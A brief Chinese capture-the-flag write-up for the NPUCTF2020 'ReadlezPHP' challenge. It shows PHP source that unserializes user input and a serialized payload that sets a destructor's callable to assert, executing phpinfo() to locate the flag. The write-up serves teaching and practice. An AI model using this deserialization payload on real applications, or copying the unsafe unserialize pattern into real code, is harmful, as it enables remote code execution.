题目

源代码发现跳转time.php?souce=,进去后显示源码

<?php
#error_reporting(0);
class HelloPhp
{ public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); }
}
$c = new HelloPhp; if(isset($_GET['source']))
{ highlight_file(__FILE__); die(0);
} @$ppp = unserialize($_GET["data"]);

简单查看到反序列化,构造序列化字符传入,这里我们用断言assert()函数来读phpinfo phpinfo怎么来的?看wp才知道的

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

看到phpinfo后直接查找flag字样就能看到

[NPUCTF2020]ReadlezPHP(反序列化)相关推荐

  1. [NPUCTF2020]ReadlezPHP与assert函数利用

    在URL前添加view-source:即可查看源码  点击/time.php?source跳转如下页面 创建一个HelloPhp类和两个变量$a和$b,将a初始赋值"Y-m-d h:i:s& ...

  2. BUU_刷题之旅(One)

    前言: 水平不够,刷题来凑! [NPUCTF2020]ReadlezPHP --反序列化.disable_functions的绕过.flag隐藏在phpinfo中 开始以为这一堆0101有什么线索,看 ...

  3. ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞

    0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...

  4. CTF-PHP反序列化漏洞2-利用魔法函数

    作者:Eason_LYC 悲观者预言失败,十言九中. 乐观者创造奇迹,一次即可. 一个人的价值,在于他所拥有的.可以不学无术,但不能一无所有! 技术领域:WEB安全.网络攻防 关注WEB安全.网络攻防 ...

  5. 序列化和反序列化刷题记录

    BUU CODE REVIEW\ *反序列化 md5 <?php /*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: ...

  6. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  7. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  8. BUU WEB刷题记录1(持续更新)

    [MRCTF2020]你传你马呢 打开得到一张晦气的图片和文件上传点 尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @e ...

  9. 刷题记录-NPUCTF2020(web部分)

    在buu刷了一遍,题目好顶,还剩一题EzShiro摸不出来 ReadlezPHP 禁用了右键查看源代码 view-source: 自行加上前缀即可 打开链接/time.php?source 很明显,p ...

最新文章

  1. 【camera】基于深度学习的车牌检测与识别系统实现(课程设计)
  2. python常用包下载_Python及其常用模块库下载及安装
  3. GET请求中URL的最大长度限制总结
  4. gpasswd 命令详解
  5. Java连接Memcached进行CRUD
  6. 程序员去创业公司做CTO,需要注意什么?
  7. Console的使用——Google Chrome代码调试
  8. 让安全威胁无所遁形,全方位掌握攻击“前世今生”的黑科技来了
  9. Python 第一章 基础知识
  10. Qt的工程文件讲解 .pro
  11. 操作系统--设备管理
  12. 论文精读—XGBoost paper
  13. Centos Python安装graphviz和pydotplus
  14. 微信支付服务商平台(商户平台)扫码登录后提示“登录超时,请重新登录”时该怎么处理?
  15. 蓝牙4.0BLE 芯片cc2540和cc2541 128x64 oled显示屏驱动
  16. 用DEV-C++写一个走迷宫小游戏1.2最终版(完结,撒花)
  17. 关于SOC、态势感知,5种常见的关联分析模型
  18. qq邮箱里面html的图片无法显示,QQ邮箱如何不显示图片? QQ邮箱如何不显示图片?...
  19. 等保(公安部82号令)
  20. ps基础学习:钢笔工具抠图

热门文章

  1. note20220411
  2. ppt输出图片更改分辨率设置
  3. 成长语录——留给以后的自己
  4. linux 脚本 input,Linux 下通过命令行和脚本开关笔记本触控板和其他输入外设
  5. 靠腰,badboy录制脚本老是发生脚本错误
  6. 每日单词20110602
  7. 香港科大三项研究登榜2020年度香港十大创科新闻
  8. vue中的观察者模式
  9. 当图片被压缩时,图片变得模糊
  10. “无聊猿” BAYC 的内忧与外患